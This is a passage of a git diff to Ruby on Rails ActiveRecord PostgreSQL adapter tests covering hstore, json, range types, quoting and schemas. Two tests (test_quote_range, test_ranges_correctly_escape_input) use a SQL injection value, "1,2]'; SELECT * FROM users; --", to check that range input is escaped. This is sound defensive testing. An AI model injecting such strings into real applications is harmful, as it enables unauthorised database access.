-    assert_cycle('ca' => 'cà', 'ac' => 'àc')
-  end
+    def test_array_strings_with_null_strings
+      assert_array_cycle([{'NULL' => 'NULL'}])
+    end
+
+    def test_contains_nils
+      assert_array_cycle([{'NULL' => nil}])
+    end
+
+    def test_select_multikey
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+      x = Hstore.first
+      assert_equal({'1' => '2', '2' => '3'}, x.tags)
+    end
+
+    def test_create
+      assert_cycle('a' => 'b', '1' => '2')
+    end
+
+    def test_nil
+      assert_cycle('a' => nil)
+    end
 
-  def test_multiline
-    assert_cycle("a\nb" => "c\nd")
+    def test_quotes
+      assert_cycle('a' => 'b"ar', '1"foo' => '2')
+    end
+
+    def test_whitespace
+      assert_cycle('a b' => 'b ar', '1"foo' => '2')
+    end
+
+    def test_backslash
+      assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
+    end
+
+    def test_comma
+      assert_cycle('a, b' => 'bar', '1"foo' => '2')
+    end
+
+    def test_arrow
+      assert_cycle('a=>b' => 'bar', '1"foo' => '2')
+    end
+
+    def test_quoting_special_characters
+      assert_cycle('ca' => 'cà', 'ac' => 'àc')
+    end
+
+    def test_multiline
+      assert_cycle("a\nb" => "c\nd")
+    end
+
+    def test_update_all
+      hstore = Hstore.create! tags: { "one" => "two" }
+
+      Hstore.update_all tags: { "three" => "four" }
+      assert_equal({ "three" => "four" }, hstore.reload.tags)
+
+      Hstore.update_all tags: { }
+      assert_equal({ }, hstore.reload.tags)
+    end
   end
 
   private
-  def assert_cycle hash
-    # test creation
-    x = Hstore.create!(:tags => hash)
-    x.reload
-    assert_equal(hash, x.tags)
-
-    # test updating
-    x = Hstore.create!(:tags => {})
-    x.tags = hash
-    x.save!
-    x.reload
-    assert_equal(hash, x.tags)
-  end
+
+    def assert_array_cycle(array)
+      # test creation
+      x = Hstore.create!(payload: array)
+      x.reload
+      assert_equal(array, x.payload)
+
+      # test updating
+      x = Hstore.create!(payload: [])
+      x.payload = array
+      x.save!
+      x.reload
+      assert_equal(array, x.payload)
+    end
+
+    def assert_cycle(hash)
+      # test creation
+      x = Hstore.create!(:tags => hash)
+      x.reload
+      assert_equal(hash, x.tags)
+
+      # test updating
+      x = Hstore.create!(:tags => {})
+      x.tags = hash
+      x.save!
+      x.reload
+      assert_equal(hash, x.tags)
+    end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
index adac1d3..3daef39 100644
--- a/activerecord/test/cases/adapters/postgresql/json_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -7,6 +7,8 @@ require 'active_record/connection_adapters/postgresql_adapter'
 class PostgresqlJSONTest < ActiveRecord::TestCase
   class JsonDataType < ActiveRecord::Base
     self.table_name = 'json_data_type'
+
+    store_accessor :settings, :resolution
   end
 
   def setup
@@ -15,10 +17,11 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
       @connection.transaction do
         @connection.create_table('json_data_type') do |t|
           t.json 'payload', :default => {}
+          t.json 'settings'
         end
       end
     rescue ActiveRecord::StatementInvalid
-      return skip "do not test on PG without json"
+      skip "do not test on PG without json"
     end
     @column = JsonDataType.columns.find { |c| c.name == 'payload' }
   end
@@ -46,6 +49,13 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
     JsonDataType.reset_column_information
   end
 
+  def test_cast_value_on_write
+    x = JsonDataType.new payload: {"string" => "foo", :symbol => :bar}
+    assert_equal({"string" => "foo", "symbol" => "bar"}, x.payload)
+    x.save
+    assert_equal({"string" => "foo", "symbol" => "bar"}, x.reload.payload)
+  end
+
   def test_type_cast_json
     assert @column
 
@@ -96,4 +106,29 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
     x.payload = ['v1', {'k2' => 'v2'}, 'v3']
     assert x.save!
   end
+
+  def test_with_store_accessors
+    x = JsonDataType.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    x.save!
+    x = JsonDataType.first
+    assert_equal "320×480", x.resolution
+
+    x.resolution = "640×1136"
+    x.save!
+
+    x = JsonDataType.first
+    assert_equal "640×1136", x.resolution
+  end
+
+  def test_update_all
+    json = JsonDataType.create! payload: { "one" => "two" }
+
+    JsonDataType.update_all payload: { "three" => "four" }
+    assert_equal({ "three" => "four" }, json.reload.payload)
+
+    JsonDataType.update_all payload: { }
+    assert_equal({ }, json.reload.payload)
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
index fb88ab7..d5d13e9 100644
--- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -6,13 +6,21 @@ module ActiveRecord
     class PostgreSQLAdapterTest < ActiveRecord::TestCase
       def setup
         @connection = ActiveRecord::Base.connection
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id serial primary key, number integer, data character varying(255))')
+      end
+
+      def test_bad_connection
+        assert_raise ActiveRecord::NoDatabaseError do
+          configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'should_not_exist-cinco-dog-db')
+          connection = ActiveRecord::Base.postgresql_connection(configuration)
+          connection.exec_query('SELECT 1')
+        end
       end
 
       def test_valid_column
-        column = @connection.columns('ex').find { |col| col.name == 'id' }
-        assert @connection.valid_type?(column.type)
+        with_example_table do
+          column = @connection.columns('ex').find { |col| col.name == 'id' }
+          assert @connection.valid_type?(column.type)
+        end
       end
 
       def test_invalid_column
@@ -20,7 +28,9 @@ module ActiveRecord
       end
 
       def test_primary_key
-        assert_equal 'id', @connection.primary_key('ex')
+        with_example_table do
+          assert_equal 'id', @connection.primary_key('ex')
+        end
       end
 
       def test_primary_key_works_tables_containing_capital_letters
@@ -28,15 +38,15 @@ module ActiveRecord
       end
 
       def test_non_standard_primary_key
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(data character varying(255) primary key)')
-        assert_equal 'data', @connection.primary_key('ex')
+        with_example_table 'data character varying(255) primary key' do
+          assert_equal 'data', @connection.primary_key('ex')
+        end
       end
 
       def test_primary_key_returns_nil_for_no_pk
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id integer)')
-        assert_nil @connection.primary_key('ex')
+        with_example_table 'id integer' do
+          assert_nil @connection.primary_key('ex')
+        end
       end
 
       def test_primary_key_raises_error_if_table_not_found
@@ -46,20 +56,40 @@ module ActiveRecord
       end
 
       def test_insert_sql_with_proprietary_returning_clause
-        id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
-        assert_equal "5150", id
+        with_example_table do
+          id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
+          assert_equal "5150", id
+        end
       end
 
       def test_insert_sql_with_quoted_schema_and_table_name
-        id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
-        expect = @connection.query('select max(id) from ex').first.first
-        assert_equal expect, id
+        with_example_table do
+          id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
+          expect = @connection.query('select max(id) from ex').first.first
+          assert_equal expect, id
+        end
       end
 
       def test_insert_sql_with_no_space_after_table_name
-        id = @connection.insert_sql("insert into ex(number) values(5150)")
-        expect = @connection.query('select max(id) from ex').first.first
-        assert_equal expect, id
+        with_example_table do
+          id = @connection.insert_sql("insert into ex(number) values(5150)")
+          expect = @connection.query('select max(id) from ex').first.first
+          assert_equal expect, id
+        end
+      end
+
+      def test_multiline_insert_sql
+        with_example_table do
+          id = @connection.insert_sql(<<-SQL)
+          insert into ex(
+                         number)
+          values(
+                 5152
+                 )
+          SQL
+          expect = @connection.query('select max(id) from ex').first.first
+          assert_equal expect, id
+        end
       end
 
       def test_insert_sql_with_returning_disabled
@@ -115,29 +145,31 @@ module ActiveRecord
       end
 
       def test_pk_and_sequence_for
-        pk, seq = @connection.pk_and_sequence_for('ex')
-        assert_equal 'id', pk
-        assert_equal @connection.default_sequence_name('ex', 'id'), seq
+        with_example_table do
+          pk, seq = @connection.pk_and_sequence_for('ex')
+          assert_equal 'id', pk
+          assert_equal @connection.default_sequence_name('ex', 'id'), seq
+        end
       end
 
       def test_pk_and_sequence_for_with_non_standard_primary_key
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(code serial primary key)')
-        pk, seq = @connection.pk_and_sequence_for('ex')
-        assert_equal 'code', pk
-        assert_equal @connection.default_sequence_name('ex', 'code'), seq
+        with_example_table 'code serial primary key' do
+          pk, seq = @connection.pk_and_sequence_for('ex')
+          assert_equal 'code', pk
+          assert_equal @connection.default_sequence_name('ex', 'code'), seq
+        end
       end
 
       def test_pk_and_sequence_for_returns_nil_if_no_seq
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id integer primary key)')
-        assert_nil @connection.pk_and_sequence_for('ex')
+        with_example_table 'id integer primary key' do
+          assert_nil @connection.pk_and_sequence_for('ex')
+        end
       end
 
       def test_pk_and_sequence_for_returns_nil_if_no_pk
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id integer)')
-        assert_nil @connection.pk_and_sequence_for('ex')
+        with_example_table 'id integer' do
+          assert_nil @connection.pk_and_sequence_for('ex')
+        end
       end
 
       def test_pk_and_sequence_for_returns_nil_if_table_not_found
@@ -145,23 +177,27 @@ module ActiveRecord
       end
 
       def test_exec_insert_number
-        insert(@connection, 'number' => 10)
+        with_example_table do
+          insert(@connection, 'number' => 10)
 
-        result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
+          result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
 
-        assert_equal 1, result.rows.length
-        assert_equal "10", result.rows.last.last
+          assert_equal 1, result.rows.length
+          assert_equal "10", result.rows.last.last
+        end
       end
 
       def test_exec_insert_string
-        str = 'いただきます!'
-        insert(@connection, 'number' => 10, 'data' => str)
+        with_example_table do
+          str = 'いただきます!'
+          insert(@connection, 'number' => 10, 'data' => str)
 
-        result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
+          result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
 
-        value = result.rows.last.last
+          value = result.rows.last.last
 
-        assert_equal str, value
+          assert_equal str, value
+        end
       end
 
       def test_table_alias_length
@@ -171,44 +207,50 @@ module ActiveRecord
       end
 
       def test_exec_no_binds
-        result = @connection.exec_query('SELECT id, data FROM ex')
-        assert_equal 0, result.rows.length
-        assert_equal 2, result.columns.length
-        assert_equal %w{ id data }, result.columns
-
-        string = @connection.quote('foo')
-        @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
-        result = @connection.exec_query('SELECT id, data FROM ex')
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
-
-        assert_equal [['1', 'foo']], result.rows
+        with_example_table do
+          result = @connection.exec_query('SELECT id, data FROM ex')
+          assert_equal 0, result.rows.length
+          assert_equal 2, result.columns.length
+          assert_equal %w{ id data }, result.columns
+
+          string = @connection.quote('foo')
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+          result = @connection.exec_query('SELECT id, data FROM ex')
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
+
+          assert_equal [['1', 'foo']], result.rows
+        end
       end
 
       def test_exec_with_binds
-        string = @connection.quote('foo')
-        @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
-        result = @connection.exec_query(
-          'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
+        with_example_table do
+          string = @connection.quote('foo')
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+          result = @connection.exec_query(
+                                          'SELECT id, data FROM ex WHERE id = $1', nil, [[nil, 1]])
 
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-        assert_equal [['1', 'foo']], result.rows
+          assert_equal [['1', 'foo']], result.rows
+        end
       end
 
       def test_exec_typecasts_bind_vals
-        string = @connection.quote('foo')
-        @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
+        with_example_table do
+          string = @connection.quote('foo')
+          @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
 
-        column = @connection.columns('ex').find { |col| col.name == 'id' }
-        result = @connection.exec_query(
-          'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
+          column = @connection.columns('ex').find { |col| col.name == 'id' }
+          result = @connection.exec_query(
+                                          'SELECT id, data FROM ex WHERE id = $1', nil, [[column, '1-fuu']])
 
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
+          assert_equal 1, result.rows.length
+          assert_equal 2, result.columns.length
 
-        assert_equal [['1', 'foo']], result.rows
+          assert_equal [['1', 'foo']], result.rows
+        end
       end
 
       def test_substitute_at
@@ -220,15 +262,10 @@ module ActiveRecord
       end
 
       def test_partial_index
-        @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
-        index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
-        assert_equal "(number > 100)", index.where
-      end
-
-      def test_distinct_zero_orders
-        assert_deprecated do
-          assert_equal "DISTINCT posts.id",
-            @connection.distinct("posts.id", [])
+        with_example_table do
+          @connection.add_index 'ex', %w{ id number }, :name => 'partial', :where => "number > 100"
+          index = @connection.indexes('ex').find { |idx| idx.name == 'partial' }
+          assert_equal "(number > 100)", index.where
         end
       end
 
@@ -237,53 +274,21 @@ module ActiveRecord
           @connection.columns_for_distinct("posts.id", [])
       end
 
-      def test_distinct_one_order
-        assert_deprecated do
-          assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
-            @connection.distinct("posts.id", ["posts.created_at desc"])
-        end
-      end
-
       def test_columns_for_distinct_one_order
         assert_equal "posts.id, posts.created_at AS alias_0",
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc"])
       end
 
-      def test_distinct_few_orders
-        assert_deprecated do
-          assert_equal "DISTINCT posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
-            @connection.distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
-        end
-      end
-
       def test_columns_for_distinct_few_orders
         assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
       end
 
-      def test_distinct_blank_not_nil_orders
-        assert_deprecated do
-          assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
-            @connection.distinct("posts.id", ["posts.created_at desc", "", "   "])
-        end
-      end
-
       def test_columns_for_distinct_blank_not_nil_orders
         assert_equal "posts.id, posts.created_at AS alias_0",
           @connection.columns_for_distinct("posts.id", ["posts.created_at desc", "", "   "])
       end
 
-      def test_distinct_with_arel_order
-        order = Object.new
-        def order.to_sql
-          "posts.created_at desc"
-        end
-        assert_deprecated do
-          assert_equal "DISTINCT posts.id, posts.created_at AS alias_0",
-            @connection.distinct("posts.id", [order])
-        end
-      end
-
       def test_columns_for_distinct_with_arel_order
         order = Object.new
         def order.to_sql
@@ -293,13 +298,6 @@ module ActiveRecord
           @connection.columns_for_distinct("posts.id", [order])
       end
 
-      def test_distinct_with_nulls
-        assert_deprecated do
-          assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls first"])
-          assert_equal "DISTINCT posts.title, posts.updater_id AS alias_0", @connection.distinct("posts.title", ["posts.updater_id desc nulls last"])
-        end
-      end
-
       def test_columns_for_distinct_with_nulls
         assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls first"])
         assert_equal "posts.title, posts.updater_id AS alias_0", @connection.columns_for_distinct("posts.title", ["posts.updater_id desc nulls last"])
@@ -311,6 +309,15 @@ module ActiveRecord
         end
       end
 
+      def test_only_warn_on_first_encounter_of_unknown_oid
+        warning = capture(:stderr) {
+          @connection.select_all "SELECT NULL::anyelement"
+          @connection.select_all "SELECT NULL::anyelement"
+          @connection.select_all "SELECT NULL::anyelement"
+        }
+        assert_match(/\Aunknown OID \d+: failed to recognize type of 'anyelement'. It will be treated as String.\n\z/, warning)
+      end
+
       private
       def insert(ctx, data)
         binds   = data.map { |name, value|
@@ -326,6 +333,14 @@ module ActiveRecord
         ctx.exec_insert(sql, 'SQL', binds)
       end
 
+      def with_example_table(definition = nil)
+        definition ||= 'id serial primary key, number integer, data character varying(255)'
+        @connection.exec_query("create table ex(#{definition})")
+        yield
+      ensure
+        @connection.exec_query('drop table if exists ex')
+      end
+
       def connection_without_insert_returning
         ActiveRecord::Base.postgresql_connection(ActiveRecord::Base.configurations['arunit'].merge(:insert_returning => false))
       end
diff --git a/activerecord/test/cases/adapters/postgresql/quoting_test.rb b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
index b342964..0eb6a26 100644
--- a/activerecord/test/cases/adapters/postgresql/quoting_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/quoting_test.rb
@@ -47,11 +47,22 @@ module ActiveRecord
 
         def test_quote_cast_numeric
           fixnum = 666
-          c = Column.new(nil, nil, 'string')
+          c = Column.new(nil, nil, 'varchar')
           assert_equal "'666'", @conn.quote(fixnum, c)
           c = Column.new(nil, nil, 'text')
           assert_equal "'666'", @conn.quote(fixnum, c)
         end
+
+        def test_quote_time_usec
+          assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0))
+          assert_equal "'1970-01-01 00:00:00.000000'", @conn.quote(Time.at(0).to_datetime)
+        end
+
+        def test_quote_range
+          range = "1,2]'; SELECT * FROM users; --".."a"
+          c = PostgreSQLColumn.new(nil, nil, OID::Range.new(:integer), 'int8range')
+          assert_equal "'[1,2]''; SELECT * FROM users; --,a]'::int8range", @conn.quote(range, c)
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/adapters/postgresql/range_test.rb b/activerecord/test/cases/adapters/postgresql/range_test.rb
new file mode 100644
index 0000000..36ad78d
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/range_test.rb
@@ -0,0 +1,276 @@
+require "cases/helper"
+require 'active_record/base'
+require 'active_record/connection_adapters/postgresql_adapter'
+
+if ActiveRecord::Base.connection.supports_ranges?
+  class PostgresqlRange < ActiveRecord::Base
+    self.table_name = "postgresql_ranges"
+  end
+
+  class PostgresqlRangeTest < ActiveRecord::TestCase
+    def teardown
+      @connection.execute 'DROP TABLE IF EXISTS postgresql_ranges'
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.connection
+      begin
+        @connection.transaction do
+          @connection.create_table('postgresql_ranges') do |t|
+            t.daterange :date_range
+            t.numrange :num_range
+            t.tsrange :ts_range
+            t.tstzrange :tstz_range
+            t.int4range :int4_range
+            t.int8range :int8_range
+          end
+        end
+      rescue ActiveRecord::StatementInvalid
+        skip "do not test on PG without range"
+      end
+
+      insert_range(id: 101,
+                   date_range: "[''2012-01-02'', ''2012-01-04'']",
+                   num_range: "[0.1, 0.2]",
+                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
+                   int4_range: "[1, 10]",
+                   int8_range: "[10, 100]")
+
+      insert_range(id: 102,
+                   date_range: "(''2012-01-02'', ''2012-01-04'')",
+                   num_range: "[0.1, 0.2)",
+                   ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
+                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
+                   int4_range: "(1, 10)",
+                   int8_range: "(10, 100)")
+
+      insert_range(id: 103,
+                   date_range: "(''2012-01-02'',]",
+                   num_range: "[0.1,]",
+                   ts_range: "[''2010-01-01 14:30'',]",
+                   tstz_range: "[''2010-01-01 14:30:00+05'',]",
+                   int4_range: "(1,]",
+                   int8_range: "(10,]")
+
+      insert_range(id: 104,
+                   date_range: "[,]",
+                   num_range: "[,]",
+                   ts_range: "[,]",
+                   tstz_range: "[,]",
+                   int4_range: "[,]",
+                   int8_range: "[,]")
+
+      insert_range(id: 105,
+                   date_range: "(''2012-01-02'', ''2012-01-02'')",
+                   num_range: "(0.1, 0.1)",
+                   ts_range: "(''2010-01-01 14:30'', ''2010-01-01 14:30'')",
+                   tstz_range: "(''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
+                   int4_range: "(1, 1)",
+                   int8_range: "(10, 10)")
+
+      @new_range = PostgresqlRange.new
+      @first_range = PostgresqlRange.find(101)
+      @second_range = PostgresqlRange.find(102)
+      @third_range = PostgresqlRange.find(103)
+      @fourth_range = PostgresqlRange.find(104)
+      @empty_range = PostgresqlRange.find(105)
+    end
+
+    def test_data_type_of_range_types
+      assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+      assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+      assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+      assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+      assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+      assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+    end
+
+    def test_int4range_values
+      assert_equal 1...11, @first_range.int4_range
+      assert_equal 2...10, @second_range.int4_range
+      assert_equal 2...Float::INFINITY, @third_range.int4_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+      assert_nil @empty_range.int4_range
+    end
+
+    def test_int8range_values
+      assert_equal 10...101, @first_range.int8_range
+      assert_equal 11...100, @second_range.int8_range
+      assert_equal 11...Float::INFINITY, @third_range.int8_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+      assert_nil @empty_range.int8_range
+    end
+
+    def test_daterange_values
+      assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+      assert_equal Date.new(2012, 1, 3)...Date.new(2012, 1, 4), @second_range.date_range
+      assert_equal Date.new(2012, 1, 3)...Float::INFINITY, @third_range.date_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+      assert_nil @empty_range.date_range
+    end
+
+    def test_numrange_values
+      assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
+      assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
+      assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
+      assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
+      assert_nil @empty_range.num_range
+    end
+
+    def test_tsrange_values
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+      assert_nil @empty_range.ts_range
+    end
+
+    def test_tstzrange_values
+      assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
+      assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
+      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+      assert_nil @empty_range.tstz_range
+    end
+
+    def test_create_tstzrange
+      tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
+      round_trip(@new_range, :tstz_range, tstzrange)
+      assert_equal @new_range.tstz_range, tstzrange
+      assert_equal @new_range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
+    end
+
+    def test_update_tstzrange
+      assert_equal_round_trip(@first_range, :tstz_range,
+                              Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET'))
+      assert_nil_round_trip(@first_range, :tstz_range,
+                            Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000'))
+    end
+
+    def test_create_tsrange
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal_round_trip(@new_range, :ts_range,
+                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+    end
+
+    def test_update_tsrange
+      tz = ::ActiveRecord::Base.default_timezone
+      assert_equal_round_trip(@first_range, :ts_range,
+                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+      assert_nil_round_trip(@first_range, :ts_range,
+                            Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0))
+    end
+
+    def test_create_numrange
+      assert_equal_round_trip(@new_range, :num_range,
+                              BigDecimal.new('0.5')...BigDecimal.new('1'))
+    end
+
+    def test_update_numrange
+      assert_equal_round_trip(@first_range, :num_range,
+                              BigDecimal.new('0.5')...BigDecimal.new('1'))
+      assert_nil_round_trip(@first_range, :num_range,
+                            BigDecimal.new('0.5')...BigDecimal.new('0.5'))
+    end
+
+    def test_create_daterange
+      assert_equal_round_trip(@new_range, :date_range,
+                              Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
+    end
+
+    def test_update_daterange
+      assert_equal_round_trip(@first_range, :date_range,
+                              Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
+      assert_nil_round_trip(@first_range, :date_range,
+                            Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
+    end
+
+    def test_create_int4range
+      assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
+    end
+
+    def test_update_int4range
+      assert_equal_round_trip(@first_range, :int4_range, 6...10)
+      assert_nil_round_trip(@first_range, :int4_range, 3...3)
+    end
+
+    def test_create_int8range
+      assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
+    end
+
+    def test_update_int8range
+      assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
+      assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
+    end
+
+    def test_exclude_beginning_for_int_ranges
+      range = PostgresqlRange.create!(int4_range: "(1, 10]")
+      assert_equal 2..10, range.int4_range
+
+      range = PostgresqlRange.create!(int8_range: "(10, 100]")
+      assert_equal 11..100, range.int8_range
+    end
+
+    def test_exclude_beginning_for_date_ranges
+      range = PostgresqlRange.create!(date_range: "(''2012-01-02'', ''2012-01-04'']")
+      assert_equal Date.new(2012, 1, 3)..Date.new(2012, 1, 4), range.date_range
+    end
+
+    def test_update_all_with_ranges
+      PostgresqlRange.create!
+
+      PostgresqlRange.update_all(int8_range: 1..100)
+
+      assert_equal 1...101, PostgresqlRange.first.int8_range
+    end
+
+    def test_ranges_correctly_escape_input
+      e = assert_raises(ActiveRecord::StatementInvalid) do
+        range = "1,2]'; SELECT * FROM users; --".."a"
+        PostgresqlRange.update_all(int8_range: range)
+      end
+
+      assert e.message.starts_with?("PG::InvalidTextRepresentation")
+      ActiveRecord::Base.connection.rollback_transaction
+    end
+
+    private
+      def assert_equal_round_trip(range, attribute, value)
+        round_trip(range, attribute, value)
+        assert_equal value, range.public_send(attribute)
+      end
+
+      def assert_nil_round_trip(range, attribute, value)
+        round_trip(range, attribute, value)
+        assert_nil range.public_send(attribute)
+      end
+
+      def round_trip(range, attribute, value)
+        range.public_send "#{attribute}=", value
+        assert range.save
+        assert range.reload
+      end
+
+      def insert_range(values)
+        @connection.execute <<-SQL
+          INSERT INTO postgresql_ranges (
+            id,
+            date_range,
+            num_range,
+            ts_range,
+            tstz_range,
+            int4_range,
+            int8_range
+          ) VALUES (
+            #{values[:id]},
+            '#{values[:date_range]}',
+            '#{values[:num_range]}',
+            '#{values[:ts_range]}',
+            '#{values[:tstz_range]}',
+            '#{values[:int4_range]}',
+            '#{values[:int8_range]}'
+          )
+        SQL
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb
index e8dd188..4445186 100644
--- a/activerecord/test/cases/adapters/postgresql/schema_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb
@@ -50,6 +50,16 @@ class SchemaTest < ActiveRecord::TestCase
     self.table_name = 'things'
   end
 
+  class Song < ActiveRecord::Base
+    self.table_name = "music.songs"
+    has_and_belongs_to_many :albums
+  end
+
+  class Album < ActiveRecord::Base
+    self.table_name = "music.albums"
+    has_and_belongs_to_many :songs
+  end
+
   def setup
     @connection = ActiveRecord::Base.connection
     @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
@@ -109,12 +119,34 @@ class SchemaTest < ActiveRecord::TestCase
     assert !@connection.schema_names.include?("test_schema3")
   end
 
+  def test_habtm_table_name_with_schema
+    ActiveRecord::Base.connection.execute <<-SQL
+      DROP SCHEMA IF EXISTS music CASCADE;
+      CREATE SCHEMA music;
+      CREATE TABLE music.albums (id serial primary key);
+      CREATE TABLE music.songs (id serial primary key);
+      CREATE TABLE music.albums_songs (album_id integer, song_id integer);
+    SQL
+
+    song = Song.create
+    album = Album.create
+    assert_equal song, Song.includes(:albums).references(:albums).first
+  ensure
+    ActiveRecord::Base.connection.execute "DROP SCHEMA music CASCADE;"
+  end
+
   def test_raise_drop_schema_with_nonexisting_schema
     assert_raises(ActiveRecord::StatementInvalid) do
       @connection.drop_schema "test_schema3"
     end
   end
 
+  def test_raise_wraped_exception_on_bad_prepare
+    assert_raises(ActiveRecord::StatementInvalid) do
